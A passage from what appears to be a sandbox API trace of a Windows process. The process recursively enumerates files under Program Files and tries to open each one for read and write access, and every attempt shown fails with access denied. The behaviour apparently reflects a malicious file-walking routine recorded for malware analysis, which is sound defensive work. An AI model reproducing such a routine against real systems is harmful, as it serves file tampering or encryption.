() returned 0x2a0000 [0152.815] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0152.815] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad34e79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ad34e79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ad5afda, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0152.815] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14cd0c35, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14cd0c35, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x349a6d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6a000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdaps.dll", cAlternateFileName="")) returned 1 [0152.815] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c0138a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86c0138a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86c0138a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb6000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdasql.dll", cAlternateFileName="")) returned 1 [0152.816] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab69cf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x2ab69cf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x838ac7b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1 [0152.816] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3c3a6b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc3c3a6b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x349f2860, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1 [0152.816] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d2cdc0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x1d2cdc0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x383128c0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msxactps.dll", cAlternateFileName="")) returned 1 [0152.816] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c2ad0f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84c2ad0f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84c50e6f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10d000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oledb32.dll", cAlternateFileName="")) returned 1 [0152.816] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfabf604b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfabf604b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xdf9a48f0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1 [0152.816] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa4ffde2f, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1 [0152.816] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.817] GetLastError () returned 0x5 [0152.817] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa52d1816, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1 [0152.817] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.817] GetLastError () returned 0x5 [0152.817] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f0bf91, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f0bf91, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92f320f1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x128000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1 [0152.817] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9350f, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xcc9350f, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xcc210f8, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1 [0152.817] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.817] GetLastError () returned 0x5 [0152.817] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14f7e4bf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14f7e4bf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x44773fc0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x59000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1 [0152.817] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e5c85, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc9e5c85, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xc97386e, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1 [0152.818] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.818] GetLastError () returned 0x5 [0152.818] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x44e18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="xmlrw.dll", cAlternateFileName="")) returned 1 [0152.818] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 1 [0152.818] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 0 [0152.818] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0152.818] GetProcessHeap () returned 0x2a0000 [0152.818] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d38 | out: hHeap=0x2a0000) returned 1 [0152.818] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5390a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc5390a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xd8800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0152.818] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32res.dll", cAlternateFileName="")) returned 1 [0152.818] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32res.dll", cAlternateFileName="")) returned 0 [0152.819] FindClose (in: hFindFile=0x2c62e0 | out: hFindFile=0x2c62e0) returned 1 [0152.819] GetProcessHeap () returned 0x2a0000 [0152.819] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7ad0 | out: hHeap=0x2a0000) returned 1 [0152.819] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System", cAlternateFileName="")) returned 0 [0152.819] FindClose (in: hFindFile=0x2c6320 | out: hFindFile=0x2c6320) returned 1 [0152.819] GetProcessHeap () returned 0x2a0000 [0152.819] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7878 | out: hHeap=0x2a0000) returned 1 [0152.819] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x240000, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0152.819] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdcf23160, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdcf23160, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DVD Maker", cAlternateFileName="DVDMAK~1")) returned 1 [0152.819] GetProcessHeap () returned 0x2a0000 [0152.819] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x46) returned 0x2c22b0 [0152.819] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\*.*", lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdcf23160, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdcf23160, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6320 [0152.821] GetProcessHeap () returned 0x2a0000 [0152.821] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c22b0 | out: hHeap=0x2a0000) returned 1 [0152.821] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdcf23160, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdcf23160, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0152.821] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed7565, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0ed7565, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0efd6c5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="audiodepthconverter.ax", cAlternateFileName="")) returned 1 [0152.821] GetProcessHeap () returned 0x2a0000 [0152.821] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x248) returned 0x2c7878 [0152.821] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\audiodepthconverter.ax" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.822] GetLastError () returned 0x5 [0152.822] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499cc441, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x499cc441, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1303c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bod_r.TTF", cAlternateFileName="")) returned 1 [0152.822] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\bod_r.TTF" (normalized: "c:\\program files\\dvd maker\\bod_r.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.823] GetLastError () returned 0x5 [0152.823] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0ed7565, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="directshowtap.ax", cAlternateFileName="")) returned 1 [0152.824] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\directshowtap.ax" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.824] GetLastError () returned 0x5 [0152.824] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ae6642, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc9ae6642, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe1601f60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x227600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DVDMaker.exe", cAlternateFileName="")) returned 1 [0152.824] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0152.824] GetProcessHeap () returned 0x2a0000 [0152.824] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x52) returned 0x2c22b0 [0152.824] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US\\*.*", lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c62e0 [0152.824] GetProcessHeap () returned 0x2a0000 [0152.824] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c22b0 | out: hHeap=0x2a0000) returned 1 [0152.824] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.824] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe.mui", cAlternateFileName="")) returned 1 [0152.824] GetProcessHeap () returned 0x2a0000 [0152.825] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x254) returned 0x2c7ac8 [0152.825] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\dvdmaker.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.825] GetLastError () returned 0x5 [0152.826] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdProject.dll.mui", cAlternateFileName="")) returned 1 [0152.826] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\omdproject.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.827] GetLastError () returned 0x5 [0152.827] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 1 [0152.827] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\wmm2clip.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.828] GetLastError () returned 0x5 [0152.828] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 0 [0152.829] FindClose (in: hFindFile=0x2c62e0 | out: hFindFile=0x2c62e0) returned 1 [0152.829] GetProcessHeap () returned 0x2a0000 [0152.829] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7ac8 | out: hHeap=0x2a0000) returned 1 [0152.829] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd559b52d, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd559b52d, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xddb8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Eurosti.TTF", cAlternateFileName="")) returned 1 [0152.829] CreateFileW 